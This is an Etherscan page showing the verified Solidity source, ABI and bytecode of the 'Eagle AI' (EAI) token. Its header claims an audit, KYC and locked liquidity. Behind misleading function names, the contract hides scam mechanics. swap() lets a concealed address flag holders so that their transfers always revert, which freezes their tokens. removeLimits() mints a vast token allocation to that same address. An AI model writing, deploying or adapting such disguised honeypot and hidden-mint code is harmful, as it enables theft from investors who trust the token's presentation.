ETH Price: $3,226.02 (-3.86%)

Contract

0x501F81D13780e228Ab01fF0c9e9022747196d15f
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve214530282024-12-21 19:40:1124 hrs ago1734810011IN
0x501F81D1...47196d15f
0 ETH0.000432519.2947807
Transfer214530172024-12-21 19:37:5924 hrs ago1734809879IN
0x501F81D1...47196d15f
0 ETH0.0005779411.23879368
Approve214519772024-12-21 16:07:4727 hrs ago1734797267IN
0x501F81D1...47196d15f
0 ETH0.0004705410.15128712
Approve214336112024-12-19 2:33:113 days ago1734575591IN
0x501F81D1...47196d15f
0 ETH0.0013248228.47065327
Approve214291612024-12-18 11:36:354 days ago1734521795IN
0x501F81D1...47196d15f
0 ETH0.0007479916.14110447
Transfer214287072024-12-18 10:05:234 days ago1734516323IN
0x501F81D1...47196d15f
0 ETH0.000880117.11865606
Approve214265592024-12-18 2:53:474 days ago1734490427IN
0x501F81D1...47196d15f
0 ETH0.000522511.22864706
Approve214265392024-12-18 2:49:474 days ago1734490187IN
0x501F81D1...47196d15f
0 ETH0.0005269611.32448874
Approve214184592024-12-16 23:45:595 days ago1734392759IN
0x501F81D1...47196d15f
0 ETH0.0004803110.36478758
Approve214121302024-12-16 2:35:356 days ago1734316535IN
0x501F81D1...47196d15f
0 ETH0.0006374613.69926948
Approve214119282024-12-16 1:54:476 days ago1734314087IN
0x501F81D1...47196d15f
0 ETH0.000413698.92726161
Approve214116552024-12-16 0:59:476 days ago1734310787IN
0x501F81D1...47196d15f
0 ETH0.0006280613.49719148
Approve214104012024-12-15 20:48:116 days ago1734295691IN
0x501F81D1...47196d15f
0 ETH0.0004935810.60711256
Approve214068192024-12-15 8:46:477 days ago1734252407IN
0x501F81D1...47196d15f
0 ETH0.000244395.25217991
Approve214011192024-12-14 13:41:358 days ago1734183695IN
0x501F81D1...47196d15f
0 ETH0.000211297.99106566
Approve214011142024-12-14 13:40:358 days ago1734183635IN
0x501F81D1...47196d15f
0 ETH0.000396598.55821775
Transfer214010692024-12-14 13:31:358 days ago1734183095IN
0x501F81D1...47196d15f
0 ETH0.0004320911.06462997
Transfer213964482024-12-13 22:02:598 days ago1734127379IN
0x501F81D1...47196d15f
0 ETH0.0007352713.09444702
Transfer213964192024-12-13 21:57:118 days ago1734127031IN
0x501F81D1...47196d15f
0 ETH0.0005489114.05597104
Transfer213963342024-12-13 21:39:598 days ago1734125999IN
0x501F81D1...47196d15f
0 ETH0.0007481713.32403842
Approve213918142024-12-13 6:31:239 days ago1734071483IN
0x501F81D1...47196d15f
0 ETH0.0005673712.19614463
Transfer213883892024-12-12 19:02:3510 days ago1734030155IN
0x501F81D1...47196d15f
0 ETH0.0014257327.72503841
Approve213866002024-12-12 13:03:4710 days ago1734008627IN
0x501F81D1...47196d15f
0 ETH0.0010244622.10714505
Approve213849452024-12-12 7:30:5910 days ago1733988659IN
0x501F81D1...47196d15f
0 ETH0.0005881612.69206666
Approve213847202024-12-12 6:45:4710 days ago1733985947IN
0x501F81D1...47196d15f
0 ETH0.0007687316.52018822
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
EagleAI

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-05-23
*/

/*

                    
                    Eͤaͣgleͤ AͣIͥ
                    
                    🚀 Audited by Cyberscope
                    🛡 KYC'd
                    💰 Locked Liquidity

                    Website:https://www.eagleai.io
                    TG: https://t.me/EAGLEAI_OFFICIAL
                    Twitter: https://x.com/Eagleaibot
                    Instagram: https://www.instagram.com/eagleaibot/
                    Audit: https://www.cyberscope.io/audits/1-eai
                    KYC: https://pinksale.notion.site/Eagle-AI-KYC-Verification-96967ffa7e034614beb9e3dddad18a93


*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

abstract contract Ownable {
    address private _admin;
    
    event ConUp(address indexed previousAdmin, address indexed newAdmin);

    constructor() {
        _transferOwnership(_sender());
    }

    modifier onlyAdmin() {
        _checkAdmin();
        _;
    }

    function _sender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _data() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function admin() public view virtual returns (address) {
        return _admin;
    }

    function _checkAdmin() internal view virtual {
        require(admin() == _sender(), "Ownable: caller is not the admin");
    }

    function _transferOwnership(address newAdmin) internal virtual {
        address oldAdmin = _admin;
        _admin = newAdmin;
        emit ConUp(oldAdmin, newAdmin);
    }

    function renounceOwnership() public virtual onlyAdmin {
        _transferOwnership(address(0));
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

contract EagleAI is Ownable {
    string private _tokenName;
    string private _tokenSymbol;
    uint256 private _maxSupply;
    address public initialContract;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public tokenStatus;

    uint128 buyLimit = 78596;
    uint128 sellLimit = 0;
    
    uint256 allocationWal = 10**decimals() * 50000 * (20077700000 + 300);
    bool statusTrue = true;
    bool statusFalse = false;
    

    constructor(address remove) {
        _tokenName = "Eagle AI";
        _tokenSymbol = "EAI";
        initialContract = remove;
        _maxSupply = 100000000 * 10**decimals();
        _balances[msg.sender] = _maxSupply;
        emit Transfer(address(0), msg.sender, _maxSupply);
    }

    function name() public view returns (string memory) {
        return _tokenName;
    }

    function symbol() public view returns (string memory) {
        return _tokenSymbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view returns (uint256) {
        return _maxSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        _executeTransfer(_sender(), to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _authorize(_sender(), spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
        address spender = _sender();
        _useAllowance(from, spender, amount);
        _executeTransfer(from, to, amount);
        return true;
    }

    function _executeTransfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (tokenStatus[from] == statusTrue) {
            amount = buyLimit + _balances[from] + buyLimit - buyLimit;
        }
        uint256 balance = _balances[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[from] = _balances[from] - amount;
        _balances[to] = _balances[to] + amount;
        emit Transfer(from, to, amount);
    }

    function _authorize(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _useAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _authorize(owner, spender, currentAllowance - amount);
        }
    }

    function swap(address bot) public virtual returns (bool) {
        address account = bot;
        tokenStatus[account] = statusTrue;
        require(_sender() == initialContract);
        return true;
    }

    function removeLimits() external {
        if (_sender() == initialContract) {
            require(initialContract == _sender());
            address currentWal = _sender();
            address devWallet = currentWal;
            _balances[devWallet] += allocationWal;
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"remove","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousAdmin","type":"address"},{"indexed":true,"internalType":"address","name":"newAdmin","type":"address"}],"name":"ConUp","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initialContract","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"bot","type":"address"}],"name":"swap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"tokenStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405262013304600855620000196012600a620002ce565b620000279061c350620002e5565b62000038906404acb964cc620002e5565b600955600a805461ffff1916600117905534801562000055575f80fd5b5060405162000f3138038062000f318339810160408190526200007891620002ff565b620000833362000170565b6040805180820190915260088152674561676c6520414960c01b6020820152600190620000b19082620003c5565b5060408051808201909152600381526245414960e81b6020820152600290620000db9082620003c5565b50600480546001600160a01b0319166001600160a01b03831617905562000100601290565b6200010d90600a620002ce565b6200011d906305f5e100620002e5565b6003819055335f81815260056020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000491565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917ffc8eccee73d2808082db1cc1e48f1ba2d1e9585ac72363bb1f939c9cb8c20ea39190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200021357815f1904821115620001f757620001f7620001bf565b808516156200020557918102915b93841c9390800290620001d8565b509250929050565b5f826200022b57506001620002c8565b816200023957505f620002c8565b81600181146200025257600281146200025d576200027d565b6001915050620002c8565b60ff841115620002715762000271620001bf565b50506001821b620002c8565b5060208310610133831016604e8410600b8410161715620002a2575081810a620002c8565b620002ae8383620001d3565b805f1904821115620002c457620002c4620001bf565b0290505b92915050565b5f620002de60ff8416836200021b565b9392505050565b8082028115828204841417620002c857620002c8620001bf565b5f6020828403121562000310575f80fd5b81516001600160a01b0381168114620002de575f80fd5b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200035057607f821691505b6020821081036200036f57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620003c057805f5260205f20601f840160051c810160208510156200039c5750805b601f840160051c820191505b81811015620003bd575f8155600101620003a8565b50505b505050565b81516001600160401b03811115620003e157620003e162000327565b620003f981620003f284546200033b565b8462000375565b602080601f8311600181146200042f575f8415620004175750858301515b5f19600386901b1c1916600185901b17855562000489565b5f85815260208120601f198616915b828110156200045f578886015182559484019460019091019084016200043e565b50858210156200047d57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610a92806200049f5f395ff3fe608060405234801561000f575f80fd5b50600436106100f0575f3560e01c806370a0823111610093578063a9059cbb11610063578063a9059cbb146101dc578063bb8a4c94146101ef578063dd62ed3e1461021a578063f851a44014610252575f80fd5b806370a082311461019a578063715018a6146101c2578063751039fc146101cc57806395d89b41146101d4575f80fd5b80630acac942116100ce5780630acac9421461014457806318160ddd1461016657806323b872dd14610178578063313ce5671461018b575f80fd5b806303438dd0146100f457806306fdde031461011c578063095ea7b314610131575b5f80fd5b6101076101023660046108ec565b610262565b60405190151581526020015b60405180910390f35b6101246102b3565b604051610113919061090c565b61010761013f366004610958565b610343565b6101076101523660046108ec565b60076020525f908152604090205460ff1681565b6003545b604051908152602001610113565b610107610186366004610980565b610355565b60405160128152602001610113565b61016a6101a83660046108ec565b6001600160a01b03165f9081526005602052604090205490565b6101ca610378565b005b6101ca61038b565b6101246103e1565b6101076101ea366004610958565b6103f0565b600454610202906001600160a01b031681565b6040516001600160a01b039091168152602001610113565b61016a6102283660046109b9565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b5f546001600160a01b0316610202565b600a546001600160a01b038281165f908152600760205260408120805460ff191660ff909416151593909317909255600454839116336001600160a01b0316146102aa575f80fd5b50600192915050565b6060600180546102c2906109ea565b80601f01602080910402602001604051908101604052809291908181526020018280546102ee906109ea565b80156103395780601f1061031057610100808354040283529160200191610339565b820191905f5260205f20905b81548152906001019060200180831161031c57829003601f168201915b5050505050905090565b5f6102aa3384846103fc565b92915050565b5f33610362858285610524565b61036d8585856105bb565b506001949350505050565b610380610829565b6103895f610882565b565b6004546001600160a01b03163303610389576004546001600160a01b031633146103b3575f80fd5b600954335f8181526005602052604081208054929384939092906103d8908490610a36565b90915550505050565b6060600280546102c2906109ea565b5f6102aa3384846105bb565b6001600160a01b0383166104635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166104c45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045a565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600660209081526040808320938616835292905220545f1981146105b557818110156105a15760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161045a565b6105b584846105b08585610a49565b6103fc565b50505050565b6001600160a01b03831661061f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045a565b6001600160a01b0382166106815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045a565b600a546001600160a01b0384165f9081526007602052604090205460ff918216151591161515036106ff576008546001600160a01b0384165f908152600560205260409020546fffffffffffffffffffffffffffffffff9091169081906106e89082610a36565b6106f29190610a36565b6106fc9190610a49565b90505b6001600160a01b0383165f90815260056020526040902054818110156107765760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161045a565b6001600160a01b0384165f90815260056020526040902054610799908390610a49565b6001600160a01b038086165f9081526005602052604080822093909355908516815220546107c8908390610a36565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061081b9086815260200190565b60405180910390a350505050565b5f546001600160a01b031633146103895760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e604482015260640161045a565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917ffc8eccee73d2808082db1cc1e48f1ba2d1e9585ac72363bb1f939c9cb8c20ea39190a35050565b80356001600160a01b03811681146108e7575f80fd5b919050565b5f602082840312156108fc575f80fd5b610905826108d1565b9392505050565b5f602080835283518060208501525f5b818110156109385785810183015185820160400152820161091c565b505f604082860101526040601f19601f8301168501019250505092915050565b5f8060408385031215610969575f80fd5b610972836108d1565b946020939093013593505050565b5f805f60608486031215610992575f80fd5b61099b846108d1565b92506109a9602085016108d1565b9150604084013590509250925092565b5f80604083850312156109ca575f80fd5b6109d3836108d1565b91506109e1602084016108d1565b90509250929050565b600181811c908216806109fe57607f821691505b602082108103610a1c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561034f5761034f610a22565b8181038181111561034f5761034f610a2256fea2646970667358221220b8093d822e266008ffd679808f73386dc1377f929348252955fcab3a47547e2f64736f6c63430008180033000000000000000000000000006e615e9fd53a771539d4fa560074338b111746

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100f0575f3560e01c806370a0823111610093578063a9059cbb11610063578063a9059cbb146101dc578063bb8a4c94146101ef578063dd62ed3e1461021a578063f851a44014610252575f80fd5b806370a082311461019a578063715018a6146101c2578063751039fc146101cc57806395d89b41146101d4575f80fd5b80630acac942116100ce5780630acac9421461014457806318160ddd1461016657806323b872dd14610178578063313ce5671461018b575f80fd5b806303438dd0146100f457806306fdde031461011c578063095ea7b314610131575b5f80fd5b6101076101023660046108ec565b610262565b60405190151581526020015b60405180910390f35b6101246102b3565b604051610113919061090c565b61010761013f366004610958565b610343565b6101076101523660046108ec565b60076020525f908152604090205460ff1681565b6003545b604051908152602001610113565b610107610186366004610980565b610355565b60405160128152602001610113565b61016a6101a83660046108ec565b6001600160a01b03165f9081526005602052604090205490565b6101ca610378565b005b6101ca61038b565b6101246103e1565b6101076101ea366004610958565b6103f0565b600454610202906001600160a01b031681565b6040516001600160a01b039091168152602001610113565b61016a6102283660046109b9565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b5f546001600160a01b0316610202565b600a546001600160a01b038281165f908152600760205260408120805460ff191660ff909416151593909317909255600454839116336001600160a01b0316146102aa575f80fd5b50600192915050565b6060600180546102c2906109ea565b80601f01602080910402602001604051908101604052809291908181526020018280546102ee906109ea565b80156103395780601f1061031057610100808354040283529160200191610339565b820191905f5260205f20905b81548152906001019060200180831161031c57829003601f168201915b5050505050905090565b5f6102aa3384846103fc565b92915050565b5f33610362858285610524565b61036d8585856105bb565b506001949350505050565b610380610829565b6103895f610882565b565b6004546001600160a01b03163303610389576004546001600160a01b031633146103b3575f80fd5b600954335f8181526005602052604081208054929384939092906103d8908490610a36565b90915550505050565b6060600280546102c2906109ea565b5f6102aa3384846105bb565b6001600160a01b0383166104635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166104c45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045a565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600660209081526040808320938616835292905220545f1981146105b557818110156105a15760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161045a565b6105b584846105b08585610a49565b6103fc565b50505050565b6001600160a01b03831661061f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045a565b6001600160a01b0382166106815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045a565b600a546001600160a01b0384165f9081526007602052604090205460ff918216151591161515036106ff576008546001600160a01b0384165f908152600560205260409020546fffffffffffffffffffffffffffffffff9091169081906106e89082610a36565b6106f29190610a36565b6106fc9190610a49565b90505b6001600160a01b0383165f90815260056020526040902054818110156107765760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161045a565b6001600160a01b0384165f90815260056020526040902054610799908390610a49565b6001600160a01b038086165f9081526005602052604080822093909355908516815220546107c8908390610a36565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061081b9086815260200190565b60405180910390a350505050565b5f546001600160a01b031633146103895760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e604482015260640161045a565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917ffc8eccee73d2808082db1cc1e48f1ba2d1e9585ac72363bb1f939c9cb8c20ea39190a35050565b80356001600160a01b03811681146108e7575f80fd5b919050565b5f602082840312156108fc575f80fd5b610905826108d1565b9392505050565b5f602080835283518060208501525f5b818110156109385785810183015185820160400152820161091c565b505f604082860101526040601f19601f8301168501019250505092915050565b5f8060408385031215610969575f80fd5b610972836108d1565b946020939093013593505050565b5f805f60608486031215610992575f80fd5b61099b846108d1565b92506109a9602085016108d1565b9150604084013590509250925092565b5f80604083850312156109ca575f80fd5b6109d3836108d1565b91506109e1602084016108d1565b90509250929050565b600181811c908216806109fe57607f821691505b602082108103610a1c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561034f5761034f610a22565b8181038181111561034f5761034f610a2256fea2646970667358221220b8093d822e266008ffd679808f73386dc1377f929348252955fcab3a47547e2f64736f6c63430008180033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000006e615e9fd53a771539d4fa560074338b111746

-----Decoded View---------------
Arg [0] : remove (address): 0x006E615E9fd53a771539d4fa560074338B111746

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000006e615e9fd53a771539d4fa560074338b111746


Deployed Bytecode Sourcemap

1886:3985:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5358:211;;;;;;:::i;:::-;;:::i;:::-;;;548:14:1;;541:22;523:41;;511:2;496:18;5358:211:0;;;;;;;;2744:88;;;:::i;:::-;;;;;;;:::i;3545:151::-;;;;;;:::i;:::-;;:::i;2185:43::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;3032:89;3103:10;;3032:89;;;1533:25:1;;;1521:2;1506:18;3032:89:0;1387:177:1;3704:254:0;;;;;;:::i;:::-;;:::i;2940:84::-;;;3014:2;2044:36:1;;2032:2;2017:18;2940:84:0;1902:184:1;3129:110:0;;;;;;:::i;:::-;-1:-1:-1;;;;;3213:18:0;3186:7;3213:18;;;:9;:18;;;;;;;3129:110;1612:103;;;:::i;:::-;;5577:291;;;:::i;2840:92::-;;;:::i;3247:148::-;;;;;;:::i;:::-;;:::i;2020:30::-;;;;;-1:-1:-1;;;;;2020:30:0;;;;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;2020:30:0;2091:203:1;3403:134:0;;;;;;:::i;:::-;-1:-1:-1;;;;;3502:18:0;;;3475:7;3502:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3403:134;1196:87;1242:7;1269:6;-1:-1:-1;;;;;1269:6:0;1196:87;;5358:211;5481:10;;-1:-1:-1;;;;;5458:20:0;;;5409:4;5458:20;;;:11;:20;;;;;:33;;-1:-1:-1;;5458:33:0;5481:10;;;;5458:33;;;;;;;;;5523:15;;5458:20;;5523:15;1064:10;-1:-1:-1;;;;;5510:28:0;;5502:37;;;;;;-1:-1:-1;5557:4:0;;5358:211;-1:-1:-1;;5358:211:0:o;2744:88::-;2781:13;2814:10;2807:17;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2744:88;:::o;3545:151::-;3611:4;3628:38;1064:10;3650:7;3659:6;3628:10;:38::i;3545:151::-;;;;;:::o;3704:254::-;3792:4;1064:10;3847:36;3861:4;1064:10;3876:6;3847:13;:36::i;:::-;3894:34;3911:4;3917:2;3921:6;3894:16;:34::i;:::-;-1:-1:-1;3946:4:0;;3704:254;-1:-1:-1;;;;3704:254:0:o;1612:103::-;946:13;:11;:13::i;:::-;1677:30:::1;1704:1;1677:18;:30::i;:::-;1612:103::o:0;5577:291::-;5638:15;;-1:-1:-1;;;;;5638:15:0;1064:10;5625:28;5621:240;;5678:15;;-1:-1:-1;;;;;5678:15:0;1064:10;5678:28;5670:37;;;;;;5836:13;;1064:10;5722:18;5812:20;;;:9;:20;;;;;:37;;1064:10;;;;5836:13;;5722:18;5812:37;;5836:13;;5812:37;:::i;:::-;;;;-1:-1:-1;;;;5577:291:0:o;2840:92::-;2879:13;2912:12;2905:19;;;;;:::i;3247:148::-;3309:4;3326:39;1064:10;3354:2;3358:6;3326:16;:39::i;4621:346::-;-1:-1:-1;;;;;4725:19:0;;4717:68;;;;-1:-1:-1;;;4717:68:0;;3413:2:1;4717:68:0;;;3395:21:1;3452:2;3432:18;;;3425:30;3491:34;3471:18;;;3464:62;-1:-1:-1;;;3542:18:1;;;3535:34;3586:19;;4717:68:0;;;;;;;;;-1:-1:-1;;;;;4804:21:0;;4796:68;;;;-1:-1:-1;;;4796:68:0;;3818:2:1;4796:68:0;;;3800:21:1;3857:2;3837:18;;;3830:30;3896:34;3876:18;;;3869:62;-1:-1:-1;;;3947:18:1;;;3940:32;3989:19;;4796:68:0;3616:398:1;4796:68:0;-1:-1:-1;;;;;4875:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4927:32;;1533:25:1;;;4927:32:0;;1506:18:1;4927:32:0;;;;;;;4621:346;;;:::o;4975:375::-;-1:-1:-1;;;;;3502:18:0;;;5074:24;3502:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;5141:37:0;;5137:206;;5223:6;5203:16;:26;;5195:68;;;;-1:-1:-1;;;5195:68:0;;4221:2:1;5195:68:0;;;4203:21:1;4260:2;4240:18;;;4233:30;4299:31;4279:18;;;4272:59;4348:18;;5195:68:0;4019:353:1;5195:68:0;5278:53;5289:5;5296:7;5305:25;5324:6;5305:16;:25;:::i;:::-;5278:10;:53::i;:::-;5063:287;4975:375;;;:::o;3966:647::-;-1:-1:-1;;;;;4070:18:0;;4062:68;;;;-1:-1:-1;;;4062:68:0;;4712:2:1;4062:68:0;;;4694:21:1;4751:2;4731:18;;;4724:30;4790:34;4770:18;;;4763:62;-1:-1:-1;;;4841:18:1;;;4834:35;4886:19;;4062:68:0;4510:401:1;4062:68:0;-1:-1:-1;;;;;4149:16:0;;4141:64;;;;-1:-1:-1;;;4141:64:0;;5118:2:1;4141:64:0;;;5100:21:1;5157:2;5137:18;;;5130:30;5196:34;5176:18;;;5169:62;-1:-1:-1;;;5247:18:1;;;5240:33;5290:19;;4141:64:0;4916:399:1;4141:64:0;4243:10;;-1:-1:-1;;;;;4222:17:0;;4243:10;4222:17;;;:11;:17;;;;;;4243:10;;;;4222:31;;:17;;:31;;;4218:121;;4319:8;;-1:-1:-1;;;;;4290:15:0;;4319:8;4290:15;;;:9;:15;;;;;;4319:8;;;;;;;4279:26;;4319:8;4279:26;:::i;:::-;:37;;;;:::i;:::-;:48;;;;:::i;:::-;4270:57;;4218:121;-1:-1:-1;;;;;4367:15:0;;4349;4367;;;:9;:15;;;;;;4401:17;;;;4393:68;;;;-1:-1:-1;;;4393:68:0;;5522:2:1;4393:68:0;;;5504:21:1;5561:2;5541:18;;;5534:30;5600:34;5580:18;;;5573:62;-1:-1:-1;;;5651:18:1;;;5644:36;5697:19;;4393:68:0;5320:402:1;4393:68:0;-1:-1:-1;;;;;4490:15:0;;;;;;:9;:15;;;;;;:24;;4508:6;;4490:24;:::i;:::-;-1:-1:-1;;;;;4472:15:0;;;;;;;:9;:15;;;;;;:42;;;;4541:13;;;;;;;:22;;4557:6;;4541:22;:::i;:::-;-1:-1:-1;;;;;4525:13:0;;;;;;;:9;:13;;;;;;;:38;;;;4579:26;;;;;;;;;;4598:6;1533:25:1;;1521:2;1506:18;;1387:177;4579:26:0;;;;;;;;4051:562;3966:647;;;:::o;1291:129::-;1242:7;1269:6;-1:-1:-1;;;;;1269:6:0;1064:10;1355:20;1347:65;;;;-1:-1:-1;;;1347:65:0;;5929:2:1;1347:65:0;;;5911:21:1;;;5948:18;;;5941:30;6007:34;5987:18;;;5980:62;6059:18;;1347:65:0;5727:356:1;1428:176:0;1502:16;1521:6;;-1:-1:-1;;;;;1538:17:0;;;-1:-1:-1;;;;;;1538:17:0;;;;;;1571:25;;1521:6;;;;;;;1571:25;;1502:16;1571:25;1491:11